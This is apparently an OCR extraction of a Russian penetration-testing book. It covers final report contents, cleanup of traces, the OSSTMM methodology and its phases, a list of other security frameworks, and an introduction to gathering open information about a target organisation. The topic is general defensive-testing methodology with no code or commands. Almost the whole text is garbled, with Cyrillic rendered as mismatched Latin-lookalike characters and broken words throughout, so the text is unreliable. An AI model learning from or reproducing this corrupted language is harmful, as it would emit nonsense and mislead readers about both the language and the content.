ciIyyasix Takke HeoOXOAMMO BHECTH B (DMHAIBHYIO BEPCUIO TUCHMEHHOIO OTYETA.

ITo MueHNIO Pa3paboTYNKOB, (PUHATBHBIH OTYET TOJKEH COMEPKATD CAEAYIONIYIO
nH(GOPMAIIHIO:

JlaHHble 06 OpPraHu3alMOHHBIX MEPOIIPUATHAX;
eI IPOBefeHns padoT;

ucnosnzyemoe 110;

UCIIOJIb3YEMbIE DKCILIOATHI;

JIaThl U BPEMSI TECTOB;

BCE MOJTyYEHHbIE JTAHHBIE;

CIITMCOK HaﬁﬂeHHbIX yHSBI/IMOCTeﬁ;

PEKOMeH/Ial1u 110 YCTPaHEeHUIO Hali/IeHHBIX YSI3BUMOCTeH, paHKMpOBaHHbIE B 110-
PAAKE IPUOPUTETHOCTH.

DuHAMBHBIN 0TYET PEKOMEHIYETCS He TIeperpykaTh OTPOMHBIM KOJTIYECTBOM JlaH-
Hpix. He BkioualiTe Bce B OCHOBHOM JJOKYMEHT, BBIHECUTE YTO-TO B IIPUJIOKEHUE.
Tak BBI IPEIOCTABUTE BCIO HEOOXOANMYTO HHMDOPMAIINIO, 2 PE3yJIbTaT Balieil paboTh
OyIeT BBITJISIIET HAMHOTO JIyYIIle.

OuuncTka cnepos nNpebbiBaHUs

B sToM pasjesie uueT peyb 0 He0OXOAUMOCTH yAaMUTh Jato0bie (aitib 1 110, coznan-
Hble Bamu B ucciiepyemoii IC. Eciin 1o KaKuM-TO IPUYUHAM Bbl HE MOKETE C/IeJIATh
9TO CAMOCTOSATEJILHO, B BAIlIEM OTYETe HYKHO IPEACTaBUTh IIOAPOOHYIO MHCTPYKIIAIO
0 TOM, KaK 3TO MOTYT c/ieJiaTh aMuHIcTpaTopsl C.
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PykoBOACTBO N0 METOAUKE TECTUPOBAHUS
6e30nacHOCTU C OTKPbITbIM UCXOAHBLIM KOZIOM

PyKOBOZICTBO 110 METO/IMKE TECTHPOBAHUST HE30MACHOCTH ¢ OTKPBITBIM UCXOHBIM
kogoM (OSSTMM) — cranzapr, paspaGoTKOii KOTOPOIo 3aHMMAeTCs OpraHu3alust
ISECOM (Institute for Security and Open Methodologies), crapatomasicst mpu-
JIePAKUBATLCS CTPOTO HAYYHOTO 1Mo/1X0/1a. IlepByIo Bepcuio cTaHiapTa mpecTaBuIn
B 2000 romy, 1 OH TI0/1/IeP;KUBAETCS /IO CUX TIOP.

OSSTMM 6511 pazpaboTaH ¢ 1eIbI0 CO3JaHMs CTAHAAPTU3NPOBAHHON METOAUKY
s ayauta VIC, koTopast Oblia 661 OTKPBITON U 00IENOCTYIIHON. DTOT CTaHAAPT
obecreunBaeT HAGOP MHCTPYKIIMIT ¥ PEKOMEHIAIMIT /I TPOBEEHUs] TECTOB Ha
HPOHUKHOBEHUE, BKJIIOYAs! OLIEHKY YS3BUMOCTEI, aHAIU3 PUCKOB, COOCTBEHHO TECThI
U [IPOBEPKY OE3011aCHOCTH IIPUIIOKEHUIA.

OH oxBaTbIBaeT MNPOKHIL AUATIA30H TECTOB Ha 6€3011aCHOCTb, CPEAN KOTOPBIX MIPO-
BepPKa CETEBBIX YCTPOUCTB, (PU3MUECKOIi 6e30IIaCHOCTH, METO/IbI COLIMATbHON MHKe-
HEpUH, TeCTHPOBaHKE MPUJIOKEHHI, OIleHKa 0e30MacHOCTH GECIIPOBOAHBIX ceTeil
U TECTUPOBAHUE HA TIPOHUKHOBECHME.

Bousee Toro, OSSTMM mnpesiaraeT MeTOUKY, TO3BOJISIONLYTO OIIEHUTD 3P DHeKTUB-
HOCTb CHCTEMbBI 0€30MACHOCTH M IPOBECTH OI[EHKY COOTBETCTBUSI €e TPeOOBAHIIM.
ITO 1OMoTaeT OpraHU3aIUsM OLEHUTb YPOBEHb CBOEH 3alMIIEHHOCTU U IPUHSATD
MepbI [Ts1 yarydtierst GezomacHocTu cBoux VIC 1 PHIOKEHNH.

KaHanbl

Kanans B OSSTMM — ato KaTeropun nH(GOPMAITMOHHBIX PECYPCOB, KOTOPbIE MOTYT
OBITh TTOABEPKEHbI yrpodaM u aTakaM. B OSSTMM npezncraBieHbl ceMb KaHAJIOB,
npoBepsieMble ITpu poBeeHnu ayaura MC:

® KaHaJ CeTEeBOTO JIOCTYIA: MapIIpPyTU3aTOPhl, KOMMYTATOpPHI, (haiieposbr, VPN
U JIpyTHe ceTeBble YCTPOICTBA;

®  KaHAJI IPUIIOKEHUIT: BEG-TIPUTOKEHUS, IPUIOKEHUST /11 MOOUIIbHBIX YCTPOWCTB,
TPUITOKEHST 7T PAGOYNX CTAHIIUI U T. 1.;

e kanaj oneparuonnbix cucrem: Windows, Linux, Unix u T. 1

® KaHa (pU3NIECKOl GEe30MACHOCTH: 3AHNUs, CePBEPHbIE 3aJIbl, MIKA(bI AJIs XpaHe-
HUsT 000PyI0BaHUs U JApyTrue husndeckne 0ObeKThI;

® KaHaJl COIMATbHON MHIKEHEPUU: TIPOBEPKA COTPYAHUKOB HA TTOJABEPKEHHOCTD
¢duruHry, 06MaHy, MOIIEHHUYECTBY U T. JL.;

e kanau GecripoBonoii casu: Wi-Fi, Bluetooth, NFC u T. 11.;
® KaHaJI TeJleKOMMYHUKaluii: Tesiechontbie cucteMbl, VoI P, BujieokoHbepeHIm 1 T. 1.
ITpu 1poBeeHnn TeCTUPOBAHUS Ha GE30I1aCHOCT HEOOXOAUMO IIPOBEPATH BCE HTU

KaHaJIbl, '-ITO6BI y6eIII/ITbCH, 4qTO BCeE I/IH(I)OpMaLII/IOHHbIe PeCypcChbl OpraHmn3alum 3a-
IIUIIEHBI OT MOTEHIIMAJIbHBIX YTPO3 1 aTaK.
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Moaynu

B OSSTMM ectb MOy Id, KOTOPbIE MPEACTABJISAIOT COOOM MOBTOPSIIONIMECS TIPOIIEC-
CBI B PAMKax TecTa Ha TPOHUKHOBEHNE. ITH MOIYJIH UCTIOIB3YIOTCS BO BCEX KaHAIaX
OSSTMM. Peanuzaiiusi Kax/10ro MOJYJIsI MOKET OBITh PAa3HOU B 3aBUCUMOCTU OT
eJIEBO CUCTEMbBI MJN ceTh. Kask/Iblii 13 MOy el IipeiiaraeT CrielinaIn3npOBaHHbIe
MOAXO/BI I KaXKIOr0 KaHa/Ia, OHAKO UX CBS3bIBAIOT OOIIUE IPUHIIAIIBI, KOTOPbIe
MBI PACCMOTPUM HUIKE.

[MoagroToBka

[TepBast paza OSSTMM — aT0 haza 03HAKOMJIEHUST ¥ TIOATOTOBKU, KOTOPAsl BKJIIOYA-
€T B Ce6§[ OIIpe/ie/JICHHbIC ITarun. I_[eJIb 9TOr0 aTalla COCTOUT B TOM, I-ITO6BI IIO/ITOTOBUTDH
OCHOBY JIJIS1 IPOBE/IEHsI TECTUPOBaHMsI 0€30IIaCHOCTH 1 Pa3paboTaTh IJIaH JeHCTBHIi,
KOTOPBIN OY/IET HCTIOIb30BATHCST BO BPEMSI TECTUPOBAHMSL.

OmnuchIBaIOTCS CIIeyIolNIne JIefCTBUS:

e OnpeneneHue nesieil TeCTUPOBaHUA. SIBJsIeTCS EPBLIM 1 BAKHBIM 111aTOM B I1PO-
BesieHnn ayiuta. [lesi TeCTUPOBAHUS B 3aBUCUMOCTH OT TPeOOBAHUN 3aKa3urKa
MOTYT MEHSITHCSI, HO OOBIYHO BKJIIOYAIOT B CeOsI TIOUCK ¥ OTIEHKY YSA3BUMOCTEN,
MPOBEPKY COOTBETCTBUS MOJUTHKAM U MPOIeAypaM 0€30MacHOCTH, a TaKKe
TECTUPOBAHUE CIOCOOHOCTU CUCTEMbI OOHAPYKMBATDH U MPEAOTBPAIIATH ATAKU.

e Brioop meroauku tectupoBannsa. OSSTMM npegocraBisieT IUPOKUI CIIEKTP
METOAMK TECTUPOBAHM OE30IIaCHOCTH, a BEIOOP KOHKPETHO! 3aBUCUT OT LieJieil
TECTUPOBAHUS U TUTIA TECTUPYEMOI MH(MDOPMAITMOHHON CHCTEMBI.

e TloAroroBka TeCTOBOW Cpe/bl. ITOT AT BKIIOYAET B ceOst CO3aHMe KON
paboueit cpelbl OpraHu3aIuu, KOTopast Oy/IeT UCIIOIb30BATHCS JIJIsT IPOBEICHUST
TeCTUPOBaHUsT He30macHOCTH. Bo BpeMs 3TOTO aTama mpoucXOoauT CO3/IaHIe BUP-
TyaJbHBIX MallllH, HACTPOIKA TECTOBBIX YCTPONCTB U T. 1.

e Ouenka puckoB. [TosBossier MaeHTUDUIMPOBATH TOTEHIIUATbHBIE YTPO3bI, KO-
TOPbIE MOTYT MOBJKSATH HA IPOBe/IeHKe ayauTa u paboty tesesoii C. Briouaer
B ce0s1 paspaboTKy ILUIaHa AeiCTBUIL /I UX IIPeIOTBPALeHN.

L] HJIaHI/IpOBaHI/Ie TECTUPOBAHHUA. Bxurouaer B ceba orpeaeseHne CpoKoB 1 61011-
JKeTa, paclipe/iejienre peCypCoB, HasHaY€HHWE€ OTBETCTBEHHDbIX 3a IIPOBEJAEHNE
TECTUPOBaHUA U OIlpe/IeieHNe TECTOBDIX CIIEHaAPHEB.

e Co6op undopmanuu. Ha stom 1mare npoBoautcst c6op MHMGOPMALIUU O 11€IeBOi
N C. O6brunHo 210 TIOAPazymMeBaet cbop urhopmaru 06 HHGPACTPYKTYpe, UC-
TOTb3YEMBIX TEXHOJOTUSX, TIOMUTHKAX GE30TMACHOCTH 1 T. .

C6op nHdopmaLmm

Bo Bpemst aToit dazel TecTUpOBaHUS TPOUCXOAUT AKTUBHBIN MTONCK WHGMOPMAIUN
06 00beKTe, KOTOPBIN HYKHO TPOTECTUPOBATH. ITO MOXKET OBITH COOP MHBOPMAITH
0 KOMITBIOTEPHON CETH, OTIEPAITMOHHON CUCTeME, TIPUJIOKEHUSIX, YSI3BUMOCTSIX U T. 1T,
Co6op uHpOpMALIUK BKJIIOYAET B cebsl MCIOIb30BaHNE OTKPBITBIX HCTOUHUKOB —
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CaﬁTOB, COITMAJTbHBIX ceTeﬁ, Q)OpyMOB, — a TaKJXe CKaHMpOBaHME ITOPTOB 1 aHaJ/IN3
IIPOTOKOJIOB.

Ko BTopoii daze oTHOCATCS caenyIonine AeicTBUS:

e Omnpenenenue eneii rectupoBanus. [{esnbio MoxeT ObITh, HATPUMED, TPOBEPKA
CTeTIeH! 3aMUIIEHHOCTH CEeTH WJIU TIPUJIOKEHUS.

e Onpenenenne nuana3oHa TecTHpoBanua. OroBapruBalOTCS CUCTEMBI U IIPUITOKE-
HUsT, KOTOPbIE GY/IyT TECTUPOBAThCA. [[ManazoH MoKeT BKIOUaTh B ceOst Bee Tpu-
JIO3KEHUS U CeTH OPraHu3allii, a MOKET OTPAaHMYMBATLCS TOJBKO KOHKPETHBIMU
yyacTKaMy MH(HOPMaIlMOHHON CUCTEMBIL.

e Coop nndopmanuu o Henaesoii cucreme. Moxer BkiiouaTh B cebst cO0p OT-
KpBITOI WHpOPMAINU, TAKON Kak JjoMeHHble nMeHa, [P-agpeca, madopmarusa
0 cepBepax, 6azax MaHHbBIX, TPUTOKEHUSIX U T. .

[ ] Orlpe/:[ene}me METOA0B aTaKH, KOTOpPbIE 6ley'T HCIIOJIb30BAaTbHCA JIJIA B3JIOMa
CHUCTEMBDBI.

[ ] OI.[eHKa PHUCKOB. HEO6XOI[I/IMBII'/JI 9Tall, Ha KOTOPOM OII€HUBAIOTCA PUCKH, CBA-
3aHHbIE€ C TECTUPDOBAHNEM CHCTEMBbI. ITOT Tal MMO3BOJISIET OIIpeJIeJINTDb, KaKne
I[eﬁCTBI/IH MOT'YT IIOBJIEYD 3a co6oll HekemaTeIbHbIe IocJie/ICTBUA, HallpuMeEP
TIOBPEK/ICHNE JaHHBIX NJIN HapyIIeHNE pa60TbI CHUCTEMDI.

Ira asa 0coOEHHO BaKHA [UIs1 TECTUPOBaHsI GE30IIACHOCTH, TIOCKOJIBKY OHA 0=
3BOJISIET TECTHPOBIIMKAM TIOJYYUTH [EHHYI0 NHGOPMAIIIO, HEOOXOAUMYIO /IS
MOHUMaHMsT 0ObEKTa TECTUPOBAHMUST, & TAKKE ISl MACHTU(DUKAIUY YSI3BUMOCTEI
¥ TIOTEHIUATBHBIX TOYEK BXO/a st ataku. OHa TakyKe MOJKET [HOMOYb OIPE/IEHUTh,
KaKme MeTOJBI TeCTHPOBaHms GesomacHocT 6yayT Hanbosee a3 bekTuBHBIMY
B JlasibHeliieit pabore.

AHanu3 ysa3BuMocTem

ITess Tpetbeit haspi 8 OSSTMM cocTtouT B TOM, 4TOOBI IPOBECTH TECTUPOBAHIE
CUCTEMBbI Ha HAJIMYKE YSI3BUMOCTEH, OIIEHUTh UX KPUTUYHOCTD, TIPOBECTU aTaKW HA
cucTemy, OlleHUTD 3(PHEKTUBHOCTD 3ANIUTHI U ONPEACTUTH MEPBI 110 YIYIIIEHNUTO
ypoBHst Oe3onacHocTu. Ha JaHHOM YPOBHE BBITIOJIHSIOTCS CJIEAYIOIINE [IATH:

o Wnentudukanus ysassumocreii. [IpoBoauTcst MX Mouck B MHGOOPMAIMOHHOT
cHcTeMe.

e Ouenka ys3Bumocreid. [IpoBouTCs ¢ 1ebI0 OTPe/Ie/IUTh, KAKOH YPOBEHD YTPO3BI
OHW TIPEJICTABJSIOT JIJIsI UHPOPMATTMOHHOM CUCTEMBI.

o Kiaccudukanus yassumocteii. [[poBoanTCs M0 UX TUITY ¥ YPOBHIO YTPO3BI, UTO
MI03BOJIAET OTIPEIEINTD IPUOPHUTETHI IS TIOCISIYIONINX IITATOB BO BPEMS ay/IITa
MH()OPMATTMOHHOI CUCTEMBI.

e IIpoBepka adpPpexkTuBHOCTH 3aUTHBIX Mep. OtieHka 9hHEKTUBHOCTH 3aUTHBIX
Mep, KOTOPBIE OBLIH PEAT30BAHbI JIJIST TPEIOTBPAIIEHUST aTak, MOKET BKJIIOUATh
B ce0s1 IPOBEPKY HAJUYMS U IPABUIbHON HACTPOIMKM MEXaHU3MOB ayTeHTU(M-
KaIllu¥, KOHTPOJIS TOCTYTIA, MEKCETEBBIX 9KPAHOB U T. JI.
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o TIpoBepka cOOTBETCTBHS MOJIUTHKAM H MPOIEypaM Ge3onacHoct. Brioyaer
B cebs1 TPOBEPKY HANUYMS ¥ TPABUIBHON HACTPOIKU CHCTEM PETHCTPAIIUK CO-
OBITHIT U JIPYTUE TIPOTIE/LY PbI.

3KcnnyaTa Lna ysa3su MOCTeM

Dasa gBIgeTCS ONHUM U3 KJIIOUEBBIX U Ba)KHBIX HTAIIOB ayAuTa 0€30IacHOCTH.
Ha sToii (haze crieruancTbl OCyIIECTBIISIOT IPOBEPKY BO3MOKHOCTH IKCILTyaTAIIT
0OHAPY KEHHBIX YSI3BUMOCTEN B IEJISIX MTOJYUEHUST KOHTPOJIST HaJl CUCTEMO WJtn
JIOCTYTIA K 3alHTIaeMbIM pecypcaM. Llesb aToTo sTana — onpeneuTh peasbHyTo
YSI3BUMOCTB CUCTEMBI U OIeHUTh puckn. OCHOBHBIE IaTu:

e Tloa6Op yTHIMT U MHCTPYMEHTOR JIJIsl SKCIUTYyaTAIMH YA3BUMOCTEM.

e IJxcmuyaranus ysa3BuMocteil. CrenuaaicTsl MHITAIOTCS NCTTOMB30BaTh 0OHA-
PY’KeHHbIE YSI3BUMOCTH /I IIOJy4YeHHs JOCTyIla K chucTeMe UK 3allliIaeMbIM
pecypcam.

o IloBropHas npoBepka cucreMbl. [Ipor3BOANTCS, 4TOOBI YOEAUTHCST, UTO IKCILITY-
aTarums He MPUBeJIa K HeKeTATeTbHBIM TOCTEICTBUSIM WJTH He Oblia 06HapysKeHa
3aIMUTHBIMI MEXaHU3MaAMH.

MoBbILEHWE NPUBUNEMVIA U paclUMPEHNE AOCTYNa

Ha stom arame OCYHIECTBJIAETCA IMTPOBEPKA BOSMOKHOCTU ITOBBIMIEHMW A HpI/IBI/IJIEI‘HI?I
" paClInpeHunA JOCTYyIIA. OCHOBHBIE TIaTK:

e Amnaaus Cpeabl U onpeaeJeHue NMOoTEHIUAJIbHbIX yﬂSBHMOCTeﬁ. HpOBO[[I/ITCH
C II€JIbIO BBIABUTDL MOTEHIIMAIbHBIC YA3BUMOCTU U HE/TOCTATKU, KOTOPbIE MOTYT
OBITH UCIIOJIB30BAHDI JJIA TIOBBIIIEHM A HpI/IBI/I]IGI‘I/Iﬁ " paclinpeHunAa JOCTYyIIa.

o Tloa60p HHCTPYMEHTOB U METOIOB, KOTOPBIE OYIYT UCIOIB30BATHCS JIJIST TIOBHI-
HIeHUs] IPUBUJIETUI U pacHIMPEeHUsI 10CTYIIA.

o IlonbiTKa MOBBIIEHHS HpI/lBI/IJIeFI/Iﬁ. CHCHI/I&JII/ICTBI MBITAIOTCS ITOBBICUTH CBOM
YPOBEHDb 1OCTYIIQ, LITO6I)I IIOJIyINTDH 60.]11)]_[[6 IIpaB B KOHTPOJIE Hall CHCTEMO UJIN
3alllnIaeMbIMU peECypCaMu.

e IlombiTka pacmmpenust focryna. VIMeeT 11e/1bio TIOJYYUTh JOCTYII K 3alUIIae-
MBIM pecypcam, KOTOpPbie ObLIN HeJ0CTYIIHbI Ha 60Jiee HU3KOM YPOBHE J0CTYIIA.

OLEHKa PUCKOB U YNpaBlieHne Mu

ITesb aTOrO BTANa — OLEHUTD IIOTEHI[MAIbHbIE PUCKH, CBI3aHHbBIE C GE30IIACHOCTHIO
MH(MOPMAIIMOHHOM CUCTEMBI, ¥ OMTPEAETUTH MEPBI 1TO X YCTPAHEHUO WM CHUKEHUTO.
OcHOBHBIE LIATH:

o Unpenrndukaius cucreM u yassumocreii. [Iposoaurcest ananms VIC c 1iesbio orpe-
JeJIeHrst ee HanboJlee HEeHHbIX 9JIEMEHTOB, TPEOYIOMINX 3ALIUThI, 8 TAKKE OIpe/Ie-
JIEHUE YS3BUMOCTEl, KOTOPbIE MOT'YT OBbITh UCIIOIb30BAHbBI 3JI0YMbIIILICHHUKAMYL.
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Omnpezenenne NOTEHIMAIBHBIX YTP03. OTPeeroTes He TOIBKO NOTEHITNATbHbIE
YIPO3bI, KOTOpbie MOTYT HatrecTH yiepd VIC, HO 1 BEPOSITHOCTD MX 9KCILTyaTaI[IH.

O1eHka ypoBHS pUcKa. MosKeT OCHOBBIBATHCS HA PA3JIMYHBIX KPUTEPUSX, TAKUX
KaK BEPOATHOCTDb, BOBMOJKHbBIE ITOCJIEACTBUA, IOCTYITHOCTD U T. /.

Pa3pa60TKa MEP MO CHUIKEHUIO PUCKOB, BKJIIOYasd TEXHUYECKUE U OpraHr3alin-
OHHBIE.

IToBropHas ouenka puckos. I1ossoJisier yoeauTbes B oG beKTUBHOCTI Peajnso-
BAHHBIX MEP 10 CHIKEHUIO PUCKOB.

[pyrne MeToauku

Kax ysxe ObL10 yIOMAHYTO, B chepe mHGOPMALNOHHON 6e30IaCHOCTH CYLIECTBYET
MHOJKECTBO METOJIMK, KOTOPBIE MOTYT MIPUMEHATHCS JJIs 0OECTICUCHIS 3aIUThI WH-
(bopManMoHHBIX cuCTEM U TaHHBIX. [IpUBeieM HEKOTOPBIE U3 HUX:

ISO 27001 (International Organization for Standardization) — MeskmyHapOIHBII
CTaHAAPT /It yIpaBJieHus nHGOpMaIMoHHON GezonacHocTbio. Onpeessier
TpeGOBaHUS K YIIPABJIEHUIO PUCKaMU 1 00ecTieueH o 6e30MacHOCT HHpOopMa-
IIMOHHBIX CHCTEM 1 TIPOTIECCHI JIJIS UX PEATU3aIUI;

OSSTMM (Open Source Security Testing Methodology Manual) — metoauka
TECTUPOBaHMsI 6E30MACHOCTH, OIMCHIBAIOIIAS TIPOTIECC TECTUPOBAHUS U OIIPeie-
JIEHWS yA3BUMOCTEH MH(MOPMAIIMOHHBIX CUCTEM;

NIST (National Institute of Standards and Technology) — dbenepasnbhbiii cran-
napt CIIIA, onpesnesisiioniuii peKOMeHIAIUu 110 YIpaBaeHnIo nH(GOPMAITTMOHHON
6e30MacHOCThIO;

PTES (Penetration Testing Execution Standard) npezcrasJisger nporece TecTuposa-
Huist GE30ITACHOCTH C TOMOIITBIO TPOHUKHOBEHHST CIICIIUAIICTOB B MH(DOPMAIIMOHHY O
CUCTEMY [I7IST OTIPEZIENIEHNST YSI3BBUMOCTEN U Pa3pabOTKI Mep TI0 X YCTPAHEHHUTO;

SDL (Security Development Lifecycle) onuceiBaer araribl paspaboTKu, BKIIOUAsT
OIIEHKY YTPO3, yIIPaBJEHUE PUCKAMU U CO3/IaHke GEe30MaCHbIX KOMOBbIX 6a3;

Cyber Kill Chain onmcsiBaer aransl aTaki XakepoB Ha HHGOPMALUOHHYIO CHCTe-
Mmy. [TorrMaHMe TOro, Kakue IpUeMbl MOTYT HCITOJIb30BATHCS 3JI0YMbITIJICHHITKA-
MI, TIO3BOJISIET OPTaHM3AIISIM Pa3pabaThiBATh MEPDI TI0 TIPEIOTBPAIIEHIIO ATAK;

PCI DSS (Payment Card Industry Data Security Standard) — crangapr, pazpa6o-
TaHHbII BJIAICIONINMH IIaTeKHbIMU KapTamu Visa, MasterCard, American Express,
Discover 1 JCB koMmmanusiMu it obecriedeHnst 6e30MacHOCTH JTNYHBIX JaHHBIX
B IIporiecce uxX 06paboTKH, repejadn U XpaneHust. X0Ts 9T0 He IPAKTUYECKOe TeXHU-
YeCKOe PYKOBOJICTBO 10 IIPOBEJIEHUIO TECTOB HA TPOHUKHOBEHHE, HO OHO TIO3BOJISIET
MOJIYYUTh JIOCTATOYHO TTOJTHOE TIPE/ICTABJIEHNE O CAMOM TIPOIIeCCe TECTUPOBAHUSI.

Kamaaﬂ METO/IMKa MUMeeT CBOW MPENMYIIECTBa, a BI)I60p TOUM WJIM UHOU 3aBUCUT OT
KOHKPETHbIX HOTpe6HOCTeI>'I OpraHu3allun 1 YPpOBHS 6830H3CHOCTI/I, HeO6XOlII/IMOFO
I ee I/IH(l)OpMa]_[I/IOHHbIX CHUCTEM U JITaHHbIX.



C60p OTKpbITOU
MHOPpMaUKnK O Lenu

Wraxk, Bce oprannsannonnbie (pOPMaTbHOCTH yIaKEHBI, BBl 3aKJII0YUIN JOTOBOP
C KOMITaHKedt, coOpaii KOMaH/y BEICOKOKBAI(DUITNPOBAHHBIX CIIEIIHAIICTOB, OTIPe-
JIEJTAITUCH C METOJIMKOW U POJISIMH, a TeTlePh TOTOBBI TPUCTYTIUTD K ay/UTY.

Kax yske roBopusioch, epsbiii atamn B3soMa Jo6oit IC waunHaetcs co cbopa Mak-
CUMAJIBHOTO KoJindecTBa nHMopmarmu o meu. [logydyenne 1anubix U3 pasinaHbIX
HCTOYHUKOB ¥ BeO-pa3Be/ika sIBJSIIOTCS. HEOTHEMJIEMON YaCThi0 TECTUPOBAHMS HA
MTPOHUKHOBEHWE U BAKHBIM 9JIEMEHTOM MTPOAKTUBHON 3anuThl. deM GOJIbIIe CeTeBhIX
CEPBHUCOB HCIIOJIB3YET MPEANPUSTHE, TeM GOJIbITE TINMPOBBIX CJIEA0B OHO OCTABIISIET
B [J106aIbHOI ceTH, TO JKe CIPABE/IINBO U JIJIS YACTHBIX JIUIL: MHTEPHET MOMHUT BCE.
[Monumanme Toro, Kakyio nHGOPMAINIO MOKHO HAITH, a TaksKe Kak ee 06padaThiBaTh
U MICTIOJIB30BATD, SABJISETCS KIIOYEBBIM MOMEHTOM B JIESATEIBHOCTH KaK MCCIe/[0BaTe-
JIsT, TaK ¥ CIIEIMAJIICTA 110 HHPOPMAIIMOHHON 6€30TTaCHOCTH.

B peanpHOM MUpe CIEIUATHCTHI, OCYIECTBIISIONINE TECTHl Ha TPOHMKHOBEHUS, 10
90 % BpeMeHU TPaTAT UMEHHO Ha cOop u 06pabOTKY JaHHBIX O IEJEBON CUCTEME.
ITpu paboTe ¢ KJIMEHTOM Bbl MOKETE CTOJKHYTHCS ¢ HEOOXOJUMOCTBIO He TOJIBKO
HalTH ys3BUMbIEC MeCTa B €r0 MHMPACTPYKTYPE, HO U IPEAOCTAaBUTH MHHOOPMAIIAIO
0 TOM, KaK BBITJIAAUT I POBOIL ciies opraHusaiiuu B TmobasibHoit cetu. B xoze
c6opa HHGOPMATINH MOKET TMOSBUTHCS HEOOXOIMMOCTH OTBETHTD Ha CJIEYIOTIIE
BOITPOCHI: KAKUE JOMEHBI ITPEATIPUSTUS OTCIEKUBAIOTCS B CETH, €CTb JIT CEPBUCHI, UC-
MOJIB3YIOMINE YA3BUMbIE CUCTEMBI MU POBAHUS, €CTh JIM 0OIIEJOCTYITHBIE CEPBUCHI,
MCIOJIB3YIONINE YI3BUMYIO KOHPUTYPALUIO (M MHOTHE [IPYTHE).

Ecam 3amaThest 11e/1b10 IOTPY3UTHCS € TOJIOBOW B MUP U3YUYEHUS TaHHBIX, CTOUT TIO-
po6OBaTh YCTAHOBUTH OHY U3 CO3IAHHBIX OTKPBITHIMU COOOIECTBAMI OI€PAIIOH-
HBIX CHCTEM, CIIeLUaIbHO [IPeJHasHaYeHHbIX A/ cOopa 1 00paboTKN HHGBOPMAIIHH:
Buscador, Dora, CSI Linux u T. 11.

y‘{TI/ITe, 9TO MPAKTUYECCKU HUKOTAAa HE YIA€TCA MOJYYUTDH BCIO I/IH(l)OpMa]_[I/IIO nu3
O/IHOT'O-€/IMHCTBEHHOT'O UCTOYHUKA. HaHHbIe NpUXOAUTCA CO6I/IpaTb N3 MHOKECTBa
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pasanunbix Mect (B, HTML-koj1, HOBOCTHbIE JIEHTBI U T. JI.), YTOOBI BIOCJICICTBIH,
KaK U3 KyCOYKOB MO3aWKH, COCTABUTH MMOHY0 kaptury V1C opranusaiun.

Ha sarHOM aTare BbIABJAAIOTCS cabble MECTA CETH, Y€Pe3 KOTOPbIE BO3MOKHO OCY-
IECTBUTH NPOHUKHOBEHNE B cucteMy. [Ipu MpaBUIbHOM TTOX0/IE MOKHO BBISIBUTD
HE TOJBKO MOTEHIIMAABHO YA3BUMBIE MECTa, HO U BO3MOKHBIE BEKTOPBI aTaKM Ha
0003HAYEHHYIO 11eJIb. B 3aBUCHMOCTH OT pazMepa OpraHusaliuu 0obeM coOpaHHOI
MHGOPMAIINH MOKET BaPbUPOBATHCS OT JECSATKA CTPOK 10 COTEH CTPAHUIL TEKCTOBOI
undopmaiyy. Baxno He ToJIbKO coOpaTh, HO 1 IPaMOTHO 00paboTaTh II0IyYeHHbIe
JIaHHBIE,

VHCTpyMEHT aHain3a KaskAblii BOJIEH BRIOMPATh caM, Oy[b TO JIOTHYECKUE CXEMBbI,
JI0CKa U MapKepbl UJIM CTUKEPBI Ha CTEHAX, — IJIABHOE, YTOObI B pesyJibrare nHgop-
Manust ObL1a 06001IeHa 1 IpecTaBIeHa B yI00HOM U YnTabeIbHOM BUIE.

YTO nckatb?

JLJ1s1 TIPOBE/ICHYIST YCIIETITHON aTaky HaM TIPUTOAUTCS JI00ast T0CTYTHAS WHHOPMAITHST
O TIPEIIPUATUH.

HNwmest B cBoeM PACIIOPAKEHNN TOJIBKO Ha3BaHME Opranmn3alinm, OOBIMHO HAYMHAIOT
C60p CJIeAYyIOMNX JTaHHBIX!

JIOMEHDI;
ceTeBble ajipeca WK ceTeBble OJIOKH;

MECTO HAaXOXK/IEHWS;

KOHTaKTHast “H(GOPMAIIHST;

HOBOCTH O CJIMSIHUU WJIA IIPUOOPETeHNN;

BaKaHCUU;

CCBUIKM Ha CBA3aHHbIE C OPraHu3aleil BeO-CepBUCH;
pasIMyuHbIe JOKYMEHTHI;

CTPYKTyPa OpTaHU3aIlNN;

CBEACHU O COTPY/HUKaX.

ITO TOJIBKO TPUMEPHBII CITUCOK, TIPOJIOJIKATH €0 MOKHO ZI0cTaTOuHO /101T0. Hampu-
Mep, TPOCMOTPEB BAKAHCUU MTPEIITIPUSTH, MOXKHO y3HaTh, Kakue V1C ncnosb3yiores
BHYTpU opranusannu. [Ipoanamnsuposas ke HTML-kox nomanrHeil CTpaHUuKH,
MOKHO HAaWTH CCBIJIKM HA BHYTPEHHUE PECyPCHI.

Ot Toro, Kak nposesieH cbop nHhopMmaryu, B GyryiieM OyeT 3aBUceTh HATIPABJIEHHE,
THII U YCIIENTHOCTD aTaku. BoJrbInast 4acth mpoiecca cbopa nHbopMaiuu He Tpebyer
CHEMATbHBIX 3HAHUN — TOJIBKO YMEHUS TT0Jb30BAThCA TTOUCKOBBIMU CUCTEMAMMT.
3aJacTyio OHM WH/CKCUPYIOT aske TY NH(DOPMAIINIO, KOTOPYIO MBITATHICH CKPBITh
OT BHEIITHETO MUPA.
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OSINT

C MoMeHTa co3iaHusT HeGOITBIIIOTO TTPOEKTA, OO BEANHSIIOIIETO HECKOJIBKO YHUBEPCH-
teros CIIA B ogHy HHOOPMAILMOHHYIO CHUCTEMY, 10 00pasoBaHus [7106aibHOI ceTr
IPOIILJIO COBCEM HEMHOTOo BpeMenu. B namu auu qoctyn k CeTr MMeIOT MIJLIHAP/IbI
Jioielt u B pasbi O0JIbIIE YCTPOUCTB €O Beero Mupa. C O[HOU CTOPOHBL, JIOCTYII K ITPaK-
THYECKH HEOTPAaHUIEHHOMY 00beMy WH(OPMAITHI 1 BO3MOKHOCTh CAMOMY CO3/IaBaTh
U yOJIMKOBATh PA3INYHbIA KOHTEHT IPUHECI MHOTO OJ1ar COBPEMEHHOMY OOIIECTBY,
OJTHAKO eCTh U JIPyTras CTOPOHa Menanu. B coBpeMeHHOM MH(MOPMAIFIOHHOM ITPO-
CTPAHCTBE BEIYT HE3AKOHHYIO JIEITETbHOCTh MHOKECTBO ITPECTYITHBIX TPYIIHIPOBOK,
U TEXHOJIOTUU TO3BOJISTIOT UM OCYIIECTBJIATh 9 (MEKTUBHYIO KOMMYHUKAIUIO J10-
